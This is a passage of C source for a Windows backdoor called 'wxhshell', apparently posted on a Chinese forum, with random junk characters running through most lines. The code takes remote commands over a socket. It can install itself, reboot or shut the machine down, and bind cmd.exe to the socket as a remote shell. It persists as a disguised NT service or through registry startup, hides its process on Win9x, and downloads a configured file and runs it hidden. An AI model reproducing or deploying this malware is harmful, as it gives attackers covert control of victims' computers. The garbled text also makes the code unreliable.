  else { . b"e`Bw_=  
~@bKQ>Xw  
    switch(cmd[0]) { @VAhmYz  
   'M{_S  
  // 帮助 +Oa1FvoEA  
  case '?': { 7Ll(,i<,C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?a}~yz#B(  
    break; :OM>z4mQ  
  } 2o;M:+KQ)  
  // 安装 +tF,E^  
  case 'i': { .^,vK7  
    if(Install()) z?^p(UH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %/y/,yd  
    else >v{m^|QqB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qt$Q/<8U  
    break; ;I0/zeM%  
    } ?{'Q}%  
  // 卸载 CpXv?uU   
  case 'r': { mB\|<2  
    if(Uninstall()) U?>cm`DBP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O%I'   
    else w;"'l]W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f&|SGD*  
    break; 5P4 >xv[  
    } 6pse @x?  
  // 显示 wxhshell 所在路径 zc"eSy< w$  
  case 'p': { LY MfoXp  
    char svExeFile[MAX_PATH]; i F Ab"VA  
    strcpy(svExeFile,"\n\r"); :?TV6M  
      strcat(svExeFile,ExeFile);  E=E  
        send(wsh,svExeFile,strlen(svExeFile),0); Vz^:| qON  
    break; o0q{:An_Z  
    } q0 <g#jK  
  // 重启 i || /=ai  
  case 'b': { &uM?DQ`o8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dxA=gL2  
    if(Boot(REBOOT)) k&2I(2S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = ~yh[@R)  
    else { ~kL":C>2  
    closesocket(wsh); n| %{R|s  
    ExitThread(0); = FQH  
    } TBpW/wz/  
    break; S}+n\pyQ  
    } LX8vVj8K  
  // 关机 ~(c<ioIf  
  case 'd': { "o1/gV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); & 3gni4@@  
    if(Boot(SHUTDOWN)) vgV0a{u"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3yQ(,k#  
    else { t|/ /oEY  
    closesocket(wsh); ~b+>o  
    ExitThread(0); _%x|,vo`(  
    } {5*5tCIt  
    break; n\QG-?%Pi  
    } CA3.fu3(p  
  // 获取shell )wC>Hq[mhW  
  case 's': { 3,GSBiK3}  
    CmdShell(wsh); 3k=q>~& @  
    closesocket(wsh); X*b0qJ Z  
    ExitThread(0); Wrlmo'31  
    break; sU>*S$X8  
  } </eh^<_~  
  // 退出 Z?~7#F~Z`  
  case 'x': { C][`Dk\D{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3 . @W.GG8  
    CloseIt(wsh); A;kB"Tx  
    break; (Az^st/_  
    } X(8 ]9  
  // 离开 2/GH5b(  
  case 'q': { tqHXzmsjW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); niFjsTA.Z  
    closesocket(wsh); 0Y\u,\GrxW  
    WSACleanup(); .w0?  
    exit(1); DQ,QyV  
    break; EV9m\'=j  
        } d{0>R{uac  
  } C'{Z?M>  
  } D%Wr/6X  
&Z9b&P  
  // 提示信息 iVFn t!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E*kS{2NAq  
} re<"%D  
  } 9Y7 tI3  
-V9Cx_]y  
  return; v^e[`]u(  
} fx*Swv%r  
Z*JZ Ubo-Q  
// shell模块句柄 C?z C|0  
int CmdShell(SOCKET sock) $jm'uDvm  
{ -wY6da*.W  
STARTUPINFO si; ;$86.2S>B  
ZeroMemory(&si,sizeof(si)); 9AS,-5;XQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,7eN m>$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /GEqU^ B  
PROCESS_INFORMATION ProcessInfo; :r|dXW  
char cmdline[]="cmd"; bO-8<IjC_3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ==$Ox6.  
  return 0; _ yU e2Gd  
} l9n 8v\8,o  
&4 ]%&mX)-  
// 自身启动模式 fz:F*zT1  
int StartFromService(void) P afmHXx  
{ wTOB'  
typedef struct \"n&|_SZ\  
{ ^E5Xpza  
  DWORD ExitStatus; k%hif8y  
  DWORD PebBaseAddress; /H\ZCIu/7  
  DWORD AffinityMask; o'W &gkb9  
  DWORD BasePriority; $?0<rvGJ  
  ULONG UniqueProcessId; 1y 6H2  
  ULONG InheritedFromUniqueProcessId; \&SP7~-eq  
}   PROCESS_BASIC_INFORMATION; M5D,YC3<  
*@n%K,$v  
PROCNTQSIP NtQueryInformationProcess; K~[/n<ks  
gbo{Zgf<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ] Qj65]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wj Y3:S~  
<;= X7l+  
  HANDLE             hProcess; J`\%'pEn  
  PROCESS_BASIC_INFORMATION pbi; u'}DG#@-  
yfYAA*S!z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BHa!jw_~o  
  if(NULL == hInst ) return 0; #U'n=@U@(  
lQoa[#q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bE0cW'6r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a}MOhM6T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >/Slk {  
7qu hp\  
  if (!NtQueryInformationProcess) return 0; wN;o++6V  
?"J5~_U.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^m?h .  
  if(!hProcess) return 0; -Ndd6O[ a5  
6=FF*"-6E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aY6]NpT  
V[CS{Hy'  
  CloseHandle(hProcess); he 9qWL&^G  
k4eV*e8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rg+V;C C~  
if(hProcess==NULL) return 0; xqLLoSte  
GQT|T0>Ro  
HMODULE hMod; 4 uD!-1LT@  
char procName[255]; c}$?k@=  
unsigned long cbNeeded; z;1yZ4[G  
!Il<'+ ^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $7,n8ddRy  
;p) gTQa  
  CloseHandle(hProcess); PJO +@+"{@  
~u7a50  
if(strstr(procName,"services")) return 1; // 以服务启动 l =xy_ TCf  
Iy\K&)5?  
  return 0; // 注册表启动 Xq,{)G%9nM  
} h2K1|PUKl[  
gy,B+~p  
// 主模块 u:<%!?  
int StartWxhshell(LPSTR lpCmdLine) lfb]xu]O  
{ 'lg6<M%#[  
  SOCKET wsl; 9tqX77UK  
BOOL val=TRUE; fk;39$[  
  int port=0; @>&UoH}2  
  struct sockaddr_in door; a'W-&j  
enE8T3   
  if(wscfg.ws_autoins) Install(); /id(atiF^  
L~CwL  
port=atoi(lpCmdLine); |Kh#\d  
e*=N\$  
if(port<=0) port=wscfg.ws_port; 7hY~  
e&#qj^  
  WSADATA data; `TBau:ElI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /mF%uI>:  
<LH(>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !/sXG\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g/J ^ YT!  
  door.sin_family = AF_INET; Q(>89*b&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XF'K dz>p  
  door.sin_port = htons(port); _L<IxOZh+  
FNtcI7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 44]/rP_m  
closesocket(wsl); 9^x'x@6  
return 1; &qF   
} Q3'\Vj,S&  
WR%x4\,d#  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Evq</  
closesocket(wsl); fMP$o3;  
return 1; ="JLUq*]s  
} !*'uPw:l2  
  Wxhshell(wsl); hZU @35~BN  
  WSACleanup(); =T|Z[/fto  
5$`ihO?  
return 0; 5W(G~m?jC6  
ok  iI:  
} {?$-p%CF`8  
R^{Ow  
// 以NT服务方式启动 0_J<=T?\"s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ULkjY1&  
{ o!dTB,Molr  
DWORD   status = 0; 3mIVNT@S9  
  DWORD   specificError = 0xfffffff; T&j_7Q\;vI  
2*ZB[5_V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \J.PrE'(}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :?O+EE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [yJcM [p\  
  serviceStatus.dwWin32ExitCode     = 0; f4@>7K]9TA  
  serviceStatus.dwServiceSpecificExitCode = 0; tl !o;`W  
  serviceStatus.dwCheckPoint       = 0; b<u   
  serviceStatus.dwWaitHint       = 0; c!d>6:\  
:U$<h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); * _)xlpy  
  if (hServiceStatusHandle==0) return; \'q 9,tP  
>j%HVRW  
status = GetLastError(); w z}BH  
  if (status!=NO_ERROR) sL[&y'+  
{ FZ)_WaqGf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; URz$hcI8  
    serviceStatus.dwCheckPoint       = 0; U ]Ek 5p  
    serviceStatus.dwWaitHint       = 0; 8!(4;fN$j.  
    serviceStatus.dwWin32ExitCode     = status; 9TuE.  
    serviceStatus.dwServiceSpecificExitCode = specificError; G|*^W;(Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HN9!~G  
    return; fRS)YE@a:  
  } p(-f$Q(  
IxNY%&* `  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n}Pz:  
  serviceStatus.dwCheckPoint       = 0; h&|q>M3  
  serviceStatus.dwWaitHint       = 0; @ )owj^sA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2K0HN  
} Oc8]A=M12  
r+r-[z D(  
// 处理NT服务事件,比如:启动、停止 kmXpj3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EZlcpCS  
{ )u)]#z  
switch(fdwControl) 3GqvL_  
{ U bUl]  
case SERVICE_CONTROL_STOP: ? BtWM4Id8  
  serviceStatus.dwWin32ExitCode = 0; !Bcd\]q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]A+q:kP  
  serviceStatus.dwCheckPoint   = 0; f?}~$agc  
  serviceStatus.dwWaitHint     = 0; ,<!_MNw[  
  { ^vw? 4O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V4@ HIM  
  } wH&[Tg  
  return; Z#0hh%E"|y  
case SERVICE_CONTROL_PAUSE: Y??8P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |E/U(VS3l~  
  break; <!gq9  
case SERVICE_CONTROL_CONTINUE: WP{!|d&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Xk8+  
  break; zX *+J"x  
case SERVICE_CONTROL_INTERROGATE: MLf,5f;e  
  break; !|}(tqt  
}; Ss ;C1:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j5QS/3  
} ZU\TA|  
mVUDPMyZ  
// 标准应用程序主函数 VbQ9o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }g6:9%ZMu  
{ A& u"NgJ  
CvDy;'{y1  
// 获取操作系统版本 1<g,1TR  
OsIsNt=GetOsVer(); aMI\gCB/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *E lR  
.b'hVOs{  
  // 从命令行安装 T"ors]eI  
  if(strpbrk(lpCmdLine,"iI")) Install(); Twi:BI`.  
lW}"6@0,  
  // 下载执行文件 2O}UVp>  
if(wscfg.ws_downexe) { ]"?+R+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2@ 4^ 81  
  WinExec(wscfg.ws_filenam,SW_HIDE); lrQ +G@#  
} PO9<g% qTf  
c@iP^;D  
if(!OsIsNt) { ^,F8 ha  
// 如果时win9x,隐藏进程并且设置为注册表启动 AWSe!\b  
HideProc(); PgZeDUPP  
StartWxhshell(lpCmdLine); wa/ :JE  
} 3%c{eZxG=  
else 9nIBs{`/Ac  
  if(StartFromService()) Q(Uj5aX  
  // 以服务方式启动 l'h[wwEXm{  
  StartServiceCtrlDispatcher(DispatchTable); Q?]307g7  
else :{2exu  
  // 普通方式启动 bj)dYj f  
  StartWxhshell(lpCmdLine); <~ E'% 60;  
`}uOl C]I  
return 0; aDr46TB`J  
}
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只看该作者 1 发表于: 2006-10-10
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